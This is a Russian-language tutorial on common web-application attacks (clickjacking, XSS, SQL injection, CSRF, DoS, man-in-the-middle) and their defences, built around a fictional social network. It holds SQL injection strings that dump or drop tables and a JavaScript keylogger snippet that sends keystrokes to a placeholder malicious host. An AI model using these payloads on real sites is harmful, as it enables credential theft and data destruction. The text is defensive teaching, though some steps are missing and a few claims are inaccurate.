Кратко
Веб-приложения, как и любые другие, можно «взломать». Если в приложении есть место, куда можно ввести текст, загрузить изображение, передать какую-то информацию, злоумышленники могут использовать это место для атаки. Уязвимостей у веб-приложений много. В этой статье мы детально рассмотрим лишь самые распространённые.
Не используйте упомянутые здесь атаки для непосредственно атак. Используйте знания о них только для того, чтобы уметь от них защищаться. Использовать уязвимости веб-сервисов для их взлома - противозаконно!
Под атакой мы будем подразумевать любое действие, приносящее вред пользователям: утечка их данных, неправильная работа сервиса, невозможность воспользоваться сервисом - всё это последствия различных атак.
Действия, непосредственно или косвенно приводящие к атаке, мы будем называть вредоносными. Людей, которые атаки проводят - злоумышленниками.
Clickjacking
Первая атака, которую мы рассмотрим - это Clickjacking.
Представьте, что вы разрабатываете соцсеть, скажем, Switter. Для регистрации вы просите пользователей указывать номер телефона и имя - персональные данные.
Если вашей соцсетью пользуется 10 тысяч человек, значит в ваших базах хранится 10 тысяч имён с телефонными номерами.
Допустим, злоумышленники хотят получить доступы к этим номерам. Они могут сделать следующее:
Дело может не ограничиваться соцсетью - в прозрачном <iframe> может быть и банковская система, а злоумышленники могут таким образом отправлять деньги пользователей на свои счета.
- Как защититься
Используйте HTTP-заголовок X-Frame-Options.
Этот серверный заголовок может разрешать или запрещать отображение страницы внутри фрейма. У него есть три значения:
Если в заголовках Switter мы укажем X-Frame-Options: SAMEORIGIN, то соцсеть будет загружаться в iframe только внутри самой соцсети. Все остальные домены не смогут отобразить её внутри iframe.
Так, кстати, делает настоящий Twitter.
Cross Site Scripting, XSS
XSS - это внедрение вредоносного кода на страницы атакуемого сервиса.
Продолжим пример с нашей слабозащищённой соцсетью Switter. Допустим, Switter предлагает поиск по твитам (свитам?) пользователей.
Конечно, вместо alert() злоумышленники могут написать более изощрённый скрипт, который будет, например, рассылать спам от имени пользователя.
Атака выше - это пример отражённого XSS (reflected XSS). Отражённого, потому что его действие сразу же отражается на поведении страницы. Кроме него есть хранимый (stored) XSS, о нём поговорим чуть дальше.
- Как защититься
Экранировать любой пользовательский ввод!
Каким бы маленьким и незначительным ни казалось поле ввода, всё, что пользователь пишет, следует экранировать.
Экранирование (escaping) - это замена специальных символов (например, которые браузер может принять за теги) другими, безопасными.
При экранировании запись <script>alert('XSS!');</script> превратится в <script>alert('XSS!');</script>. Такую запись браузер не распознает как тег или скрипт.
Для экранирования пользовательского ввода в JS следует использовать:
Также на сервере следует проверять и при необходимости экранировать все данные, приходящие от клиента.
SQL-Injection
SQL-инъекции (injection) - это один из видов XSS.
Их суть заключается в доступе к данным атакуемого сервиса или их изменению. Ну или удалению, всякое бывает.
Вернёмся снова к нашей несчастной соцсети. Когда злоумышленники обнаружили, что могут вызывать отражённые XSS на страницах, они подумали, что неплохо бы получить доступ ко всем пользовательским данным.
Допустим, они узнали, что БД у Switter - это MySQL. Тогда:
К примеру, злоумышленники нашли форму логина. Они знают, что эта форма связана с таблицей пользователей. При логине они могут внедрить, например, такой код: UNION SELECT * FROM users.
Тогда настоящий запрос в базу дополнится командой, и если таблица с пользователями называется users, то злоумышленники получат все данные пользователей соцсети.
А можно было и так: DROP TABLE users; или даже: DROP DATABASE whole_data_base.
- Как защититься
Экранировать любой пользовательский ввод!
Экранировать SQL-инъекции на клиенте, пожалуй, бессмысленно. Однако у серверных разработчиков обязательно должны быть инструменты, которые позволят работать с пользовательским вводом безопасно.
Stored XSS
Хранимый (stored) XSS - это вредоносный код, который каким-то образом сохранился в атакуемом сервисе. Он мог быть записан в базу, сохранён на диске в виде текста, изображения, мог сохраниться в оперативной памяти сервера.
Главное его отличие от отражённого XSS в «отложенности» действия. Хранимый XSS может воспроизводиться сильно после атаки, а также несколько раз.
Для примера снова вернёмся к нашей злосчастной соцсети Switter. Чтобы отправить твит (свит?), пользователи вводят текст в форме и отправляют эту форму на сервер.
Если злоумышленники знают, что Switter не экранирует пользовательский ввод, они могут сделать следующее:
Хранимый XSS очень опасен. Злоумышленники могут его использовать на конкретных страницах, чтобы красть данные, производить действия от имени пользователя и прочее, уже сильно позже самой атаки.
От него также сильно труднее избавиться, потому что для этого требуется очистить данные в БД или в другом хранилище.
Подобный вредоносный код, к слову, может самораспространяться, используя другие уязвимости сервиса.
- Как защититься
Да, вы угадали: Экранировать любой пользовательский ввод!
А ещё использовать Content-Security-Policy.
Кроме всего прочего, против XSS рекомендуется использовать серверный заголовок Content-Security-Policy, который может запретить исполнение скриптов из ненадёжных источников.
Значение заголовка - это список доверенных источников, из которых пользователь может получать контент.
Например:
Content-Security-Policy: default-src 'self' *.trusted.com // Значит, что мы разрешаем получать контент со своего домена // и всех своих поддоменов, а также от домена trusted.com // и всех его поддоменов.
Key Logger
Одна из разновидностей хранимого XSS - это key logger. Представим, что в прошлый раз злоумышленники оставили не alert(), а программу, которая отправляет куда-то всё, что вы набираете на клавиатуре.
document.body.addEventListener('keypress', (e) => { // ...Злоумышленники собираются все данные о пользователе, // которые им нужны: логин, время события, что угодно. const data = { ...user, key: e.key } // ...Переводят все данные в строку: const params = new URLSearchParams() // ...И «запрашивают картинку», но на самом деле // отправляют запрос на свой сервер с данными о пользователе. new Image().src = 'https://malicious.site?data=' + encodeURIComponent(params) })
Таким образом у пользователя могут украсть пароли и другие персональные данные.
Cross-Site Request Forgery, CSRF
Межсайтовая подделка запроса (Cross-Site Request Forgery, CSRF) - атака, при которой злоумышленники могут совершать действия как бы от лица пользователя.
Вернёмся к нашей совсем уж дырявой соцсети Switter. С последним обновлением Switter завёз пользователям возможность не только пересылать друг другу сообщения в личных переписках, но и деньги.
Злоумышленники знают, что после логина в Switter у пользователя остаются куки, которые потом используются для аутентификации. Они могут:
Проблемы здесь две:
Авторизацию не следует путать с аутентификацией.
- Как защититься
В первую очередь куки следует выставлять так, чтобы они были видны лишь для сервиса, который их выставил. Для этого можно использовать SameSite Cookie:
Set-Cookie: key=value; SameSite=Strict
Также, если с куками не должны работать клиентские скрипты, их можно спрятать:
Set-Cookie: key=value; HttpOnly
Это сделает куку видимой только для сервера и самого браузера (но в клиентском JS её использовать будет нельзя).
Также можно использовать CSRF-токены для подписи каждого запроса, который необходимо авторизовать. Такой токен гарантирует, что запрос был отправлен пользователем не случайно.
<form action="/send_money/" method="POST"> <!-- Этот токен может быть ассоциирован с конкретной формой или даже с конкретным запросом для каждого пользователя. Злоумышленнику неизвестно, по какому принципу токен был сгенерирован, поэтому и подделать его у него гораздо меньше шансов. --> <input type="hidden" name="CSRF" value="token-generated-by-server"> <!-- ...Остальная форма --> </form>
Для AJAX-запросов следует указывать CSP и CORS-политику.
Cross-Origin Resource Sharing, CORS - определяет, доступ к каким ресурсам есть у запросов с другого домена (origin).
Denial of Service, DoS
Дос-атака (Denial of Service, DOS) - атака, которая старается довести атакуемый сервис до отказа.
В случае с Switter целью может быть, чтобы пользователи не могли ни открыть ленту, ни отправить новый свит.
Как правило, чтобы задосить веб-сервис, надо нагрузить его таким количеством запросов, чтобы он просто физически не мог их все обработать. Сделать это злоумышленникам проще всего с нескольких машин, отправляя пачки запросов одновременно.
Когда дос-атака распределена на несколько машин (потоков, пачек, whatever), она называется распределённой (Distributed DoS, DDoS).
- Как защититься
Стопроцентного способа защититься нет, но можно попробовать:
Slowloris
Slowloris - это из разновидностей дос-атаки, при которой на сервер отправляется запрос, а данные пересылаются так ме-е-е-е-е-едленно, насколько это возможно.
Так как данные всё ещё пересылаются, сервер не может просто оборвать соединение. Но и заняться другими запросами он тоже не может, потому что занят этим.
Когда какое-то соединение всё же обрывается, атакующий инициализирует ещё одно. С помощью этой атаки можно используя лишь одну машину довести сервис до отказа.
- Как защититься
Data-bombs
Бомбами чаще всего бывают архивы или изображения. Они называются бомбами, потому что при разархивировании (в случае с архивами) или декомпрессии (в случае с изображениями) резко увеличиваются в размерах.
Самая известная бомба - это самоархивированный архив 42.zip. Он весит всего 42 КБ, но если начать его распаковывать, то он займёт 4.3 ГБ места на диске, а сам процесс распаковки - 4.5 петабайта оперативной памяти.
- Как защититься
Зависит оттого, какие данные сервис принимает и на какой технологии работает сервер. Все методы защиты здесь исключительно лежат в области серверной разработки.
Лучшее (и единственное), что могут сделать фронтенд-разработчики - указывать ограничения на загружаемые файлы по MIME-типу и размеру.
Man in the Middle
«Чувак посередине» (Man in the Middle, MiM) - атака, которая заключается в просмотре (а возможно и подмене) трафика между клиентом и сервером.
Представим, что пользователь Switter (если остался хотя бы один после всех тех дыр, что мы рассмотрели) решает зайти в свой аккаунт из кафе.
В кафе он или она использует публичную Wi-Fi сеть и заходит в свой аккаунт. К сожалению, в том же кафе сидит злоумышленник, который пропускает весь трафик в этой сети через свой компьютер. А значит, может узнать логин и пароль пользователя.
Мы сильно упрощаем, но грубо говоря, злоумышленник убедил все компьютеры в сети, что именно его ноутбук - это роутер. В итоге все запросы ото всех пользователей этой сети проходят через его ноутбук.
Проблема в том, что Switter использует протокол HTTP. При использовании HTTP всё общение между клиентом и сервером не зашифровано и происходит в открытом виде.
Даже если сервер и клиент будут использовать алгоритм RSA, чтобы шифровать общение, то всё равно на самое первое сообщение от клиента:
- Привет! Давай общаться приватно.
...Серверу придётся ответить текстом:
- Да, давай. Вот мой публичный ключ, который ты можешь использовать, чтобы подписывать свои сообщения. Только тогда я их смогу прочесть.
RSA - это алгоритм, который использует математику с большими простыми числами, чтобы кодировать информацию.
Мы не будем вдаваться в подробности, скажем лишь, что для раскодирования используется так называемый приватный ключ, который есть лишь у того, кому предназначается сообщение. Публичным ключом сообщение зашифровывается.
Проблема в том, что если злоумышленник знает, когда и какой ключ был отправлен, он может подменить его на свой.
- Как защититься
Использовать HTTPS!
HTTPS это HTTP, который использует шифрование. Данные передаются поверх особых защитных транспортных протоколов TLS (а до 2015 года - SSL), что делает их недоступными для злоумышленника.
Это работает, потому что как клиент, так и сервер используют ключи сертифицированного центра, а не сгенерированные самостоятельно. Если злоумышленник решит подменить хотя бы один бит в сообщении или ключе - клиент или сервер узнают, что общение скомпрометировано.
Атака всё ещё может сработать, если пользователь, например, пренебрегает предупреждением браузера, что соединение может быть не защищено.
Ещё одна проблема - всё держится на доверии. Если организация, подписывающая сертификаты, по какой-либо причине компрометирует их, то все клиенты и серверы, использующие эти сертификаты, будут подвержены риску.